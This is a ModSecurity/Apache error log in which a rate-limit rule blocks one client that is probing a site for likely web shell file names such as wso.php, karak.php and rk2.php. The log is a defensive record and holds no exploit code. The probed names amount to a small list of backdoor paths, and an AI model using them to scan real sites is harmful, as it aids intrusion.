[Thu Dec 25 21:42:31.219748 2025] [:error] [pid 22044:tid 22098] [client 4.193.224.251:11103] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aU0_R3PTC5rQKTB0FQ-UDgAAANc"]
[Thu Dec 25 21:42:31.661337 2025] [:error] [pid 22044:tid 22078] [client 4.193.224.251:11206] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aU0_R3PTC5rQKTB0FQ-UEQAAAMM"]
[Thu Dec 25 21:42:32.571760 2025] [:error] [pid 22044:tid 22082] [client 4.193.224.251:11126] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aU0_SHPTC5rQKTB0FQ-UFgAAAMc"]
[Thu Dec 25 21:42:33.388233 2025] [:error] [pid 22045:tid 22102] [client 4.193.224.251:11247] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aU0_SasGGmXjDnvlmHtlMgAAAUA"]
[Thu Dec 25 21:42:34.015796 2025] [:error] [pid 22045:tid 22112] [client 4.193.224.251:11114] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aU0_SqsGGmXjDnvlmHtlNQAAAUo"]
[Thu Dec 25 21:42:34.551751 2025] [:error] [pid 27869:tid 27881] [client 4.193.224.251:11100] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aU0_ShNK7_n86kBD7qfN7wAAAIo"]
[Thu Dec 25 21:42:35.347690 2025] [:error] [pid 22043:tid 22061] [client 4.193.224.251:11089] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aU0_Sz4YVtlb2Iz_QE5JrgAAAA0"]
[Thu Dec 25 21:42:35.881093 2025] [:error] [pid 22043:tid 22056] [client 4.193.224.251:11149] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aU0_Sz4YVtlb2Iz_QE5JsAAAAAg"]
[Thu Dec 25 21:42:36.401865 2025] [:error] [pid 22045:tid 22123] [client 4.193.224.251:11058] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aU0_TKsGGmXjDnvlmHtlPAAAAVU"]
[Thu Dec 25 21:42:36.872394 2025] [:error] [pid 22131:tid 22142] [client 4.193.224.251:16802] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aU0_TJvVMtSTB4lX2fYslQAAAEg"]
[Thu Dec 25 21:42:37.299646 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:11044] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aU0_TRNK7_n86kBD7qfN8gAAAJA"]
[Thu Dec 25 21:42:38.379234 2025] [:error] [pid 22045:tid 22104] [client 4.193.224.251:11041] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aU0_TqsGGmXjDnvlmHtlQgAAAUI"]
[Thu Dec 25 21:42:39.263043 2025] [:error] [pid 22045:tid 22109] [client 4.193.224.251:11011] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aU0_T6sGGmXjDnvlmHtlRAAAAUc"]
[Thu Dec 25 21:42:49.033038 2025] [:error] [pid 27869:tid 27880] [client 4.193.224.251:11054] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU0_WRNK7_n86kBD7qfOJAAAAIk"]
[Thu Dec 25 21:42:49.420648 2025] [:error] [pid 22044:tid 22089] [client 4.193.224.251:11181] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU0_WXPTC5rQKTB0FQ-UIgAAAM4"]
[Thu Dec 25 21:42:49.919780 2025] [:error] [pid 22044:tid 22092] [client 4.193.224.251:11256] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU0_WXPTC5rQKTB0FQ-UJAAAANE"]
[Thu Dec 25 21:42:50.571954 2025] [:error] [pid 22045:tid 22118] [client 4.193.224.251:11087] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU0_WqsGGmXjDnvlmHtlVQAAAVA"]
[Thu Dec 25 21:42:51.280017 2025] [:error] [pid 27869:tid 27886] [client 4.193.224.251:11251] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aU0_WxNK7_n86kBD7qfOKQAAAI8"]
[Thu Dec 25 21:42:51.871474 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:11010] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aU0_W6sGGmXjDnvlmHtlXQAAAUE"]
[Thu Dec 25 21:42:52.297902 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:11200] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aU0_XBNK7_n86kBD7qfOMgAAAJA"]
[Thu Dec 25 21:42:52.805256 2025] [:error] [pid 27869:tid 27892] [client 4.193.224.251:11024] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aU0_XBNK7_n86kBD7qfONgAAAJU"]
[Thu Dec 25 21:42:53.192325 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:11038] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aU0_XRNK7_n86kBD7qfOOAAAAJQ"]
[Thu Dec 25 21:42:54.017293 2025] [:error] [pid 27869:tid 27883] [client 4.193.224.251:11093] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aU0_XhNK7_n86kBD7qfOQwAAAIw"]
[Thu Dec 25 21:42:54.781559 2025] [:error] [pid 27869:tid 27890] [client 4.193.224.251:11085] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aU0_XhNK7_n86kBD7qfOSgAAAJM"]
[Thu Dec 25 21:42:55.214594 2025] [:error] [pid 27869:tid 27895] [client 4.193.224.251:11117] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aU0_XxNK7_n86kBD7qfOTAAAAJg"]
[Thu Dec 25 21:42:55.921462 2025] [:error] [pid 27869:tid 27885] [client 4.193.224.251:11130] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aU0_XxNK7_n86kBD7qfOTQAAAI4"]
[Thu Dec 25 21:42:56.571371 2025] [:error] [pid 27869:tid 27872] [client 4.193.224.251:11179] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aU0_YBNK7_n86kBD7qfOTwAAAIE"]
[Thu Dec 25 21:42:57.110167 2025] [:error] [pid 27869:tid 27874] [client 4.193.224.251:11037] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aU0_YRNK7_n86kBD7qfOUwAAAIM"]
[Thu Dec 25 21:42:58.145395 2025] [:error] [pid 22131:tid 22151] [client 4.193.224.251:11184] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aU0_YpvVMtSTB4lX2fYsnAAAAFA"]
[Thu Dec 25 21:42:58.648688 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:11019] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aU0_YhNK7_n86kBD7qfOVgAAAJQ"]
[Thu Dec 25 21:42:59.356286 2025] [:error] [pid 22131:tid 22136] [client 4.193.224.251:11118] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aU0_Y5vVMtSTB4lX2fYsnQAAAEM"]
[Thu Dec 25 21:43:00.141880 2025] [:error] [pid 22043:tid 22060] [client 4.193.224.251:11084] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aU0_ZD4YVtlb2Iz_QE5J2AAAAAw"]
[Thu Dec 25 21:43:00.910348 2025] [:error] [pid 22131:tid 22143] [client 4.193.224.251:16813] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aU0_ZJvVMtSTB4lX2fYsoAAAAEk"]
[Thu Dec 25 21:43:01.413220 2025] [:error] [pid 27869:tid 27872] [client 4.193.224.251:11025] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aU0_ZRNK7_n86kBD7qfOWwAAAIE"]
[Thu Dec 25 21:43:02.016851 2025] [:error] [pid 22043:tid 22054] [client 4.193.224.251:11009] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aU0_Zj4YVtlb2Iz_QE5J2QAAAAY"]
[Thu Dec 25 21:43:02.747225 2025] [:error] [pid 22044:tid 22094] [client 4.193.224.251:11124] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aU0_ZnPTC5rQKTB0FQ-UMwAAANM"]
[Thu Dec 25 21:43:03.128439 2025] [:error] [pid 22044:tid 22097] [client 4.193.224.251:11095] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "aU0_Z3PTC5rQKTB0FQ-UNAAAANY"]
[Thu Dec 25 21:43:03.487983 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:11150] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aU0_Z3PTC5rQKTB0FQ-UNQAAAME"]
[Thu Dec 25 21:43:04.077072 2025] [:error] [pid 22044:tid 22079] [client 4.193.224.251:11128] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aU0_aHPTC5rQKTB0FQ-UOAAAAMQ"]
[Thu Dec 25 21:43:04.644113 2025] [:error] [pid 22045:tid 22115] [client 4.193.224.251:11132] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aU0_aKsGGmXjDnvlmHtlcwAAAU0"]
[Thu Dec 25 21:43:05.047598 2025] [:error] [pid 22044:tid 22099] [client 4.193.224.251:11152] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aU0_aXPTC5rQKTB0FQ-UPQAAANg"]
[Thu Dec 25 21:43:05.544856 2025] [:error] [pid 22044:tid 22084] [client 4.193.224.251:16895] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aU0_aXPTC5rQKTB0FQ-UQQAAAMk"]
[Thu Dec 25 21:43:05.949100 2025] [:error] [pid 22131:tid 22152] [client 4.193.224.251:11028] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aU0_aZvVMtSTB4lX2fYspQAAAFE"]
[Thu Dec 25 21:43:06.864543 2025] [:error] [pid 22131:tid 22145] [client 4.193.224.251:11027] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aU0_apvVMtSTB4lX2fYsqgAAAEs"]
[Thu Dec 25 21:43:07.600308 2025] [:error] [pid 22045:tid 22124] [client 4.193.224.251:11168] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aU0_a6sGGmXjDnvlmHtlegAAAVY"]
[Thu Dec 25 21:43:08.114086 2025] [:error] [pid 22044:tid 22092] [client 4.193.224.251:11125] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aU0_bHPTC5rQKTB0FQ-URgAAANE"]
[Thu Dec 25 21:43:08.853508 2025] [:error] [pid 22044:tid 22096] [client 4.193.224.251:11133] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aU0_bHPTC5rQKTB0FQ-URwAAANU"]
[Thu Dec 25 21:43:09.448660 2025] [:error] [pid 22044:tid 22093] [client 4.193.224.251:16825] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aU0_bXPTC5rQKTB0FQ-USwAAANI"]
[Thu Dec 25 21:43:10.191000 2025] [:error] [pid 22043:tid 22049] [client 4.193.224.251:11113] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aU0_bj4YVtlb2Iz_QE5J2wAAAAE"]
[Thu Dec 25 21:43:10.947635 2025] [:error] [pid 22045:tid 22106] [client 4.193.224.251:16831] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aU0_bqsGGmXjDnvlmHtlfwAAAUQ"]
[Thu Dec 25 21:43:12.198420 2025] [:error] [pid 22043:tid 22067] [client 4.193.224.251:11018] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aU0_cD4YVtlb2Iz_QE5J4QAAABM"]
[Thu Dec 25 21:43:12.570158 2025] [:error] [pid 22131:tid 22149] [client 4.193.224.251:11013] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aU0_cJvVMtSTB4lX2fYsswAAAE4"]
[Thu Dec 25 21:43:13.150764 2025] [:error] [pid 22045:tid 22115] [client 4.193.224.251:11020] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/406.php"] [unique_id "aU0_casGGmXjDnvlmHtlhgAAAU0"]
[Thu Dec 25 21:43:13.522511 2025] [:error] [pid 22131:tid 22160] [client 4.193.224.251:11096] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mariju.php"] [unique_id "aU0_cZvVMtSTB4lX2fYstwAAAFg"]
[Thu Dec 25 21:43:13.973836 2025] [:error] [pid 22043:tid 22064] [client 4.193.224.251:11086] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mariju.php"] [unique_id "aU0_cT4YVtlb2Iz_QE5J5wAAABA"]
[Thu Dec 25 21:43:14.564713 2025] [:error] [pid 22043:tid 22054] [client 4.193.224.251:11090] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mariju.php"] [unique_id "aU0_cj4YVtlb2Iz_QE5J6QAAAAY"]
